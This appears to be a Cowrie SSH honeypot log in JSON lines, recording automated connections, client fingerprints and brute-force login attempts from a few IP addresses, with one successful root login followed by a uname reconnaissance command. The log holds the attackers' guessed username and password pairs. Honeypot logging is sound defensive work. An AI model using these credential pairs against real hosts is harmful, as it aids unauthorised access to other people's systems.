{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.252189Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ss0rd","message":"login attempt [root/p@ss0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.568356Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.932097Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:05.935296Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:06.047424Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:06.052728Z","src_ip":"92.118.39.92","session":"592089452ffd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60274,"dst_ip":"10.17.0.5","dst_port":22,"session":"81cff76d62d5","protocol":"ssh","message":"New connection: 2.57.122.208:60274 (10.17.0.5:22) [session: 81cff76d62d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:39.099202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:39.172399Z","src_ip":"2.57.122.208","session":"81cff76d62d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:39.286557Z","src_ip":"2.57.122.208","session":"81cff76d62d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:39.880444Z","src_ip":"2.57.122.208","session":"81cff76d62d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:53:41.010023Z","src_ip":"2.57.122.208","session":"81cff76d62d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"f12b7cbaf855","protocol":"ssh","message":"New connection: 195.178.110.218:38796 (159.203.135.109:22) [session: f12b7cbaf855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:54:06.974591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:54:06.979518Z","src_ip":"195.178.110.218","session":"f12b7cbaf855","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:54:07.062436Z","src_ip":"195.178.110.218","session":"f12b7cbaf855","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:54:07.303783Z","src_ip":"195.178.110.218","session":"f12b7cbaf855","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:54:08.387049Z","src_ip":"195.178.110.218","session":"f12b7cbaf855","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":46946,"dst_ip":"10.17.0.5","dst_port":22,"session":"0513a2a0036a","protocol":"ssh","message":"New connection: 92.118.39.92:46946 (10.17.0.5:22) [session: 0513a2a0036a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:21.533926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:21.538707Z","src_ip":"92.118.39.92","session":"0513a2a0036a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:21.642436Z","src_ip":"92.118.39.92","session":"0513a2a0036a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:21.955300Z","src_ip":"92.118.39.92","session":"0513a2a0036a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:23.060792Z","src_ip":"92.118.39.92","session":"0513a2a0036a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39256,"dst_ip":"10.17.0.5","dst_port":22,"session":"80e14028b78b","protocol":"ssh","message":"New connection: 2.57.122.208:39256 (10.17.0.5:22) [session: 80e14028b78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:55.114672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:55.222740Z","src_ip":"2.57.122.208","session":"80e14028b78b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:55.229442Z","src_ip":"2.57.122.208","session":"80e14028b78b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:55.959220Z","src_ip":"2.57.122.208","session":"80e14028b78b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:55:57.077408Z","src_ip":"2.57.122.208","session":"80e14028b78b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54560,"dst_ip":"159.203.135.109","dst_port":22,"session":"c95706d073d5","protocol":"ssh","message":"New connection: 195.178.110.218:54560 (159.203.135.109:22) [session: c95706d073d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:56:56.295342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:56:56.300576Z","src_ip":"195.178.110.218","session":"c95706d073d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:56:56.376401Z","src_ip":"195.178.110.218","session":"c95706d073d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:56:56.601964Z","src_ip":"195.178.110.218","session":"c95706d073d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:56:57.680432Z","src_ip":"195.178.110.218","session":"c95706d073d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf1099a43d3","protocol":"ssh","message":"New connection: 92.118.39.92:35336 (10.17.0.5:22) [session: ddf1099a43d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:57:42.949854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:57:42.954759Z","src_ip":"92.118.39.92","session":"ddf1099a43d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:57:43.060082Z","src_ip":"92.118.39.92","session":"ddf1099a43d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:57:43.361596Z","src_ip":"92.118.39.92","session":"ddf1099a43d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:57:44.463268Z","src_ip":"92.118.39.92","session":"ddf1099a43d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35792,"dst_ip":"10.17.0.5","dst_port":22,"session":"687f1da0fe95","protocol":"ssh","message":"New connection: 2.57.122.208:35792 (10.17.0.5:22) [session: 687f1da0fe95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:58:15.918030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:58:15.922449Z","src_ip":"2.57.122.208","session":"687f1da0fe95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:58:16.087599Z","src_ip":"2.57.122.208","session":"687f1da0fe95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:58:16.408445Z","src_ip":"2.57.122.208","session":"687f1da0fe95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:58:17.561099Z","src_ip":"2.57.122.208","session":"687f1da0fe95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":33618,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b7332e6c3e","protocol":"ssh","message":"New connection: 195.178.110.218:33618 (159.203.135.109:22) [session: c9b7332e6c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:40.171061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:59:40.175434Z","src_ip":"195.178.110.218","session":"c9b7332e6c3e","protocol":"ssh"}
